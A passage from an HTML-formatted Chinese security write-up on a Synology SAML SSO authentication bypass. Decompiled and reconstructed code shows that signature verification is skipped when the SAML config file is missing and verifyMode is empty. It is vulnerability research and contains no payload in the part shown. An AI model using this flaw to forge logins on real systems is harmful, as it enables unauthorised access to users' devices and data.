leaf="">char</span></span><span leaf=""> *)</span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc_3_2::XMLString::transcode</span></span><span leaf="">(v70, *v15);</span><span leaf=""><br/></span><span leaf="">  v96 = v72;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !v72 )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v106 = &amp;src.</span><span style="color: rgb(36, 41, 46);"><span leaf="">m128i_u64</span></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">LABEL_100:</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">std::__throw_logic_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;basic_string: construction from null is not valid&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc_3_2::XMLString::trim</span></span><span leaf="">((xercesc_3_2::XMLString *)v72, v71);</span><span leaf=""><br/></span><span leaf="">  v73 = v96;</span><span style="color: rgb(106, 115, 125);"><span leaf="">// std::string src = string::string(nameID, len(nameID))</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// a1+248 = nameID, a1+256 = size</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  v63 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">opensaml::SAMLConfig::getConfig</span></span><span leaf="">((opensaml::SAMLConfig *)v99);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(__int64, __int64))(*(_QWORD *)v63 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">24LL</span></span><span leaf="">))(v63, </span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通读上面的伪代码和代码片段后，你可能已经注意到 SAML SSO 功能中应用逻辑的缺陷了。现在让我们深入分析。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">通过 SAML SSO 绕过身份验证</span></strong></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifySamlResponse</span></code><span leaf="">函数内部，当在第 4 步和第 10a 步检查签名时，</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Image 1" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013170" data-ratio="0.32037037037037036" style="max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cef5d14f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShJFUdmlLMBux17BRy5NFNJspYUS33C9BicI2FKqC4Qe14HMzjj3WHs6f0azm9mGvlQGxy7YdKQ2AWgZ7xibhtHQjZdO6SGsVb8Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Image 1</span></figcaption></figure><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Image 2" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013169" data-ratio="0.11851851851851852" style="max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8962cee5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjQ7AI7Yx4Xia0kibibdMyxWMJGQOcGtSVLCLXxgEA84HPze4icdfdWLPQWRNicPlQ0ib9icR256XUmrolnCDeZp1qXc9dRnX2Nicxic7AY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">long</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">SSOSAMLClient::VerifySamlResponse</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span leaf=""> std::string&amp; b64Response)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">	[...]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;verifyMode == </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;response&#34;</span></span><span leaf=""> || </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;verifyMode == </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;both&#34;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">auto</span></span><span leaf="">* signable = </span><span style="color: rgb(215, 58, 73);"><span leaf="">dynamic_cast</span></span><span leaf="">&lt;xmltooling::SignableObject*&gt;(src);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!signable)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;signable is null&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!signable-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getSignature</span></span><span leaf="">())</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;getSignature is null&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">verifySignature</span></span><span leaf="">(signable-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getSignature</span></span><span leaf="">());</span><span leaf=""><br/></span><span leaf="">	[...]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span leaf=""> (opensaml::saml2::Assertion* assertion : assertions) {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;verifyMode == </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;assertion&#34;</span></span><span leaf=""> || </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;verifyMode == </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;both&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">verifySignature</span></span><span leaf="">(assertion-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getSignature</span></span><span leaf="">());</span><span leaf=""><br/></span><span leaf="">	[...]</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里，开发者隐含地假设 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifyMode</span></code><span leaf="">的值总是三个选项之一：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">{&#34;response&#34;, &#34;assertion&#34;, &#34;both&#34;}</span></code><span leaf="">。因此，如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifyMode</span></code><span leaf="">持有任何不在这三个选项中的值，签名验证步骤就会被完全绕过。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifyMode</span></code><span leaf="">的值在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSOSAMLClient</span></code><span leaf="">构造函数中赋值。查看 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSOSAMLClient</span></code><span leaf="">构造函数，如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readSAMLConfig</span></code><span leaf="">返回 false，构造函数会提前返回，使对象的属性保持为默认的空字符串或 false。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Image 3" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013167" data-ratio="0.05648148148148148" style="max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d87aa3cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjic0DNPtj5cup2lC85KUgvZZpQyIZlVqoSNS3zSMib1NOwJmtpOxqbwtGgGKdn5VGTVD26xhFodlj88l4Z0xuNncfRMmRzfiaCAs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Image 3</span></figcaption></figure><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Image 4" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013168" data-ratio="0.14349775784753363" style="max-width: 100%;" data-type="png" data-w="446" src="https://wechat2rss.xlab.app/img-proxy/?k=a33a9b3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjP8KG0J3GNWYeGOmeNmgwoMJw7zzwWb632gHMPbrTibcnibVmoUdOH00ZRfk9AMjQZzK8wgjg4v4zbfBx7ibrLk1eznia22ibfQ30I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readSAMLConfig</span></code><span leaf="">：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">bool</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">SSOSAMLClient::readSAMLConfig</span></span><span leaf="">(Json::Value&amp; out)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">static</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf="">* </span><span style="color: rgb(0, 92, 197);"><span leaf="">kConfPath</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/usr/syno/etc/ssoclient/saml.conf&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    RunAs </span><span style="color: rgb(36, 41, 46);"><span leaf="">guard</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">494</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">SLIBCFileExist</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">kConfPath</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">SLIBCFileExist</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">kConfPath</span></span><span leaf="">) == </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!out.</span><span style="color: rgb(0, 92, 197);"><span leaf="">fromFile</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">kConfPath</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d failed to load json file&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">506</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;failed to load json file&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!out.</span><span style="color: rgb(0, 92, 197);"><span leaf="">isMember</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_response_signature&#34;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">            out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_response_signature&#34;</span></span><span leaf="">] = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;response&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml_enable&#34;</span></span><span leaf="">]              = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_name&#34;</span></span><span leaf="">]                    = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;SAML&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_idp_entity_id&#34;</span></span><span leaf="">]           = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_idp_signin_url&#34;</span></span><span leaf="">]          = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_acs_url&#34;</span></span><span leaf="">]                 = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_idp_certificate&#34;</span></span><span leaf="">]         = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_valid_date&#34;</span></span><span leaf="">]              = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_idp_certificate_expired&#34;</span></span><span leaf="">] = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">__int64 __fastcall SYNO::SSO::SSOSAMLClient::readSAMLConfig(SYNO::SSO::SSOSAMLClient *this, Json::Value *a2)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  // [...]</span><span leaf=""><br/></span><span leaf="">  if ( (unsigned int)SLIBCFileExist(&#34;/usr/syno/etc/ssoclient/saml.conf&#34;) ) </span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    // 从文件加载配置</span><span leaf=""><br/></span><span leaf="">    return 1LL;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  else</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    // 返回默认配置</span><span leaf=""><br/></span><span leaf="">    Json::Value::Value((Json::Value *)v29, &#34;&#34;);</span><span leaf=""><br/></span><span leaf="">    v11 = Json::Value::operator[](a2, &#34;sso_saml_enable&#34;);</span><span leaf=""><br/></span><span leaf="">    Json::Value::operator=(v11, v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::~Value((Json::Value *)v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::Value((Json::Value *)v29, &#34;SAML&#34;);</span><span leaf=""><br/></span><span leaf="">    v12 = Json::Value::operator[](a2, &#34;saml_name&#34;);</span><span leaf=""><br/></span><span leaf="">    Json::Value::operator=(v12, v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::~Value((Json::Value *)v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::Value((Json::Value *)v29, &#34;&#34;);</span><span leaf=""><br/></span><span leaf="">    v13 = Json::Value::operator[](a2, &#34;saml_idp_entity_id&#34;);</span><span leaf=""><br/></span><span leaf="">    Json::Value::operator=(v13, v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::~Value((Json::Value *)v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::Value((Json::Value *)v29, &#34;&#34;);</span><span leaf=""><br/></span><span leaf="">    v14 = Json::Value::operator[](a2, &#34;saml_idp_signin_url&#34;);</span><span leaf=""><br/></span><span leaf="">    Json::Value::operator=(v14, v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::~Value((Json::Value *)v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::Value((Json::Value *)v29, &#34;&#34;);</span><span leaf=""><br/></span><span leaf="">    v15 = Json::Value::operator[](a2, &#34;saml_acs_url&#34;);</span><span leaf=""><br/></span><span leaf="">    Json::Value::operator=(v15, v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::~Value((Json::Value *)v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::Value((Json::Value *)v29, &#34;&#34;);</span><span leaf=""><br/></span><span leaf="">    v16 = Json::Value::operator[](a2, &#34;saml_idp_certificate&#34;);</span><span leaf=""><br/></span><span leaf="">    Json::Value::operator=(v16, v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::~Value((Json::Value *)v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::Value((Json::Value *)v29, &#34;&#34;);</span><span leaf=""><br/></span><span leaf="">    v17 = Json::Value::operator[](a2, &#34;saml_valid_date&#34;);</span><span leaf=""><br/></span><span leaf="">    Json::Value::operator=(v17, v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::~Value((Json::Value *)v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::Value((Json::Value *)v29, &#34;&#34;);</span><span leaf=""><br/></span><span leaf="">    v18 = Json::Value::operator[](a2, &#34;saml_idp_certificate_expired&#34;);</span><span leaf=""><br/></span><span leaf="">    Json::Value::operator=(v18, v29);</span><span leaf=""><br/></span><span leaf="">    Json::Value::~Value((Json::Value *)v29);</span><span leaf=""><br/></span><span leaf="">    // [...]</span><span leaf=""><br/></span><span leaf="">    return 0LL;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/usr/syno/etc/ssoclient/saml.conf</span></code><span leaf="">不存在时，verifyMode 为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;&#34;</span></code><span leaf="">，这使我们能够绕过签名验证。只要系统上从未启用过 SAML SSO，这个文件就不存在。从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">samlAuth</span></code><span leaf="">到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSOSAMLClient</span></code><span leaf="">构造函数再到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifySamlResponse</span></code><span 